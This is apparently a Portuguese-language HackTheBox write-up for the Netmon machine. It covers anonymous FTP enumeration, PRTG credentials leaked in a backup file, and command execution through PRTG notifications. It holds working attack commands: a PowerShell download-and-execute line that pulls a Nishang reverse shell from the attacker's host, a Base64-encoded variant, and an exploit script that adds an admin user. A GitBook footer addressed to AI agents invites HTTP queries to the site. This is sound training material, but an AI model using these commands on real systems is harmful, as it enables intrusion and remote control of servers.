> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md).

# Resolução da máquina Netmon do HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Netmon>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração FTP
* Vazamento de informações
* Divulgação de credenciais do PRTG Network Monitor
* Execução de comandos de notificação do PRTG
* Entrega de shell reverso do PowerShell
  {% endhint %}

## Reconhecimento

Crie o espaço de trabalho e execute a varredura TCP completa:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.152 -oG allPorts
```

<figure><img src="/files/9b3ccdad1ee98338bb67767841782f096ae1b7a4" alt=""><figcaption></figcaption></figure>

Execute a varredura de serviços direcionada:

```bash
nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.152 -oN targeted
```

<figure><img src="/files/729b273bb3e850ee77a4eb0f164dc5d17efc7f0f" alt=""><figcaption></figcaption></figure>

## Enumeração FTP

O FTP permite acesso anônimo.

<figure><img src="/files/a3be3f7ea441157995a4e608b8db600f265c6487" alt=""><figcaption></figcaption></figure>

A flag do usuário pode ser lida via FTP no caminho da área de trabalho do usuário.

<figure><img src="/files/2787383576ee764e688fcafca5e805690408807b" alt=""><figcaption></figcaption></figure>

## PRTG Network Monitor

A porta 80 expõe uma **PRTG Network Monitor** interface web.

<figure><img src="/files/60a16d631be7070de4d7845dfebffcc51a0bec9f" alt=""><figcaption></figcaption></figure>

Revise o diretório de configuração:

```
ProgramData/Paessler/PRTG Network Monitor/
```

<figure><img src="/files/071518fbcc9efb9aaec27a5c754a02f937158849" alt=""><figcaption></figcaption></figure>

O arquivo de configuração de backup deixa credenciais expostas:

```
PRTG Configuration.old.bak
```

<figure><img src="/files/f45a5a5543cec4dc3e434a64f050da456ef83a6d" alt=""><figcaption></figcaption></figure>

Credenciais recuperadas:

* Nome de usuário: `prtgadmin`
* Senha: `PrTg@dmin2018`

<figure><img src="/files/3bf989361055ff035ce4decff124ed2c0510e67c" alt=""><figcaption></figcaption></figure>

Como o arquivo é um backup antigo, teste o ano atualizado na senha. O acesso é válido com:

```
PrTg@dmin2019
```

<figure><img src="/files/e8932c14cf5f38ece8865ecc6d9de3347f799018" alt=""><figcaption></figcaption></figure>

## RCE no PRTG

As notificações do PRTG podem executar comandos no servidor. Use um script de shell reverso do PowerShell hospedado e acione-o por meio de uma ação de notificação.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Baixe e prepare o payload do PowerShell:

```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
python3 -m http.server 80
```

Inicie um listener:

```bash
rlwrap nc -nvlp 443
```

No PRTG, vá para `Setup > Account Settings > Notifications` e crie uma ação de notificação que baixe e execute o script hospedado.

<figure><img src="/files/6fe7a0be3fb7049aef2b99fc220e9174d64309eb" alt=""><figcaption></figcaption></figure>

Padrão de comando:

{% code overflow="wrap" %}

```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```

{% endcode %}

Se o callback do download alcançar o servidor HTTP, mas o shell não retornar, codifique o script PowerShell como Base64 em UTF-16LE e execute-o com `-enc`:

```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```

```powershell
abc.txt | powershell -enc <BASE64_PAYLOAD>
```

## Caminho de exploração automatizada

O SearchSploit inclui uma exploração do PRTG que cria um novo usuário administrativo quando fornecido com um cookie autenticado válido.

```bash
searchsploit -m windows/webapps/46527.sh
```

Execute a exploração com a URL do alvo e o cookie de sessão:

{% code overflow="wrap" %}

```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```

{% endcode %}

A exploração cria:

* Nome de usuário: `pentest`
* Senha: `P3nT3st!`

<figure><img src="/files/7f92d91a44b5c05ded784ad3993a062b26cdff36" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
